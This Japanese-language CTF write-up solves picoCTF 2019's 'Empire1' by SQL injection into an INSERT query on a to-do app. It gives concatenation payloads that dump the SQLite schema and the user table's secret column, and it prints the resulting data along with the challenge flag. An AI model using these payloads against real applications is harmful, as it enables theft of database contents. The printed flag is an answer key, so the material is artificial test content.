picoCTF 2019: Empire1
問題
問題文
Psst, Agent 513, now that you're an employee of Evil Empire Co., try to get their secrets off the company website.
https://2019shell1.picoctf.com/problem/45012/
(link) Can you first find the secret code they assigned to you? or http://2019shell1.picoctf.com:45012
解答例
指針
INSERT文
へのSQL injection
解説
問題文で与えられたサイトを見ると, Login フォームと Resister フォームがある. Resister をして Login をすると.
/add_item
というページにフォームがあり, 文字列を適当に入力し, Button を押し送信すると, /list_items
というページに入力した文字列が表示される.
/add_item
のフォームに, シングルクォート1つの文字列を与えると Internal Server Error
が返された.
`
適切にバリデーションがされてなさそうなので, SQL injection を疑う.
内部で実行されている SQL のクエリがどのようになっているかを考える. データの追加なのでおそらく以下のように, INSERT 文
が使われていると推測できる.
- INSERT文の構文のおさらい
以下のように, テーブル名, 列名, 値を指定する. ただし, そのテーブルの全ての列に値を追加する場合は列名の指定は必要ない.
INSERT INTO table_name (column1, column2, column3, ...) VALUES (value1, value2, value3, ...);
今回は以下のような SQL 文が内部で実行されていると推測できる. (テーブル名, 列名などは推測)
INSERT INTO todo (user_id, content) VALUES (user_id, 'INPUT STRINGS')
入力文字列として以下のようなものが与えられたときのことを考える.
'||'a'||'
SQL のクエリは以下のように展開されると推測できる.
INSERT INTO todo (user_id, content) VALUES (user_id, '' || 'a' || '')
||
演算子は文字列の結合を行う演算子であることを考慮すると, 挿入される文字列は 'a'
に空文字を足した, 'a'
であると予想される.
実際に実行して確かめると, この予想通りの結果が得られた.
DB が SQLite だと推測(gussing) して, sqlite_master
テーブルの sql
カラムの中身を表示させることを試みる.
sqlite_master
テーブルは SQLite でテーブルを管理するテーブルで sql
カラムにはオブジェクトを生成する際に実行されたSQL文が格納されている.
'|| (SELECT sql FROM sqlite_master) ||'
- 実行結果
CREATE TABLE user ( id INTEGER NOT NULL, username VARCHAR(64), name VARCHAR(128), password_hash VARCHAR(128), secret VARCHAR(128), admin INTEGER, PRIMARY KEY (id) )
user
テーブルを作るときに, 叩いたクエリが得られた. secret
という怪しいカラムがある.
以下のように group_concat
関数を使って, カラムの値を連結して表示させることもできる.
'|| (SELECT group_concat(sql) FROM sqlite_master) ||'
- 実行結果
CREATE TABLE user ( id INTEGER NOT NULL, username VARCHAR(64), name VARCHAR(128), password_hash VARCHAR(128), secret VARCHAR(128), admin INTEGER, PRIMARY KEY (id) ), CREATE UNIQUE INDEX ix_user_username ON user (username), CREATE TABLE todo ( id INTEGER NOT NULL, item VARCHAR(256), user_id INTEGER, PRIMARY KEY (id), FOREIGN KEY(user_id) REFERENCES user (id) )
user
テーブルの secret
カラムの値を表示させてみる.
'|| (SELECT secret FROM user) ||'
- 実行結果
Likes Oreos.
group_concat
関数を使って, secret
カラムの値を連結して表示させる.
'|| (SELECT group_concat(secret) FROM user) ||'
- 実行結果
Likes Oreos.,Know it all.,picoCTF{wh00t_it_a_sql_injecta60643ae}
flag が得られた.
flag: picoCTF{wh00t_it_a_sql_injecta60643ae}
感想
INSERT 文への SQL Injection は ||
や +
, concat()
といった文字列結合を使うのが定石っぽいということを知ることができてよかった.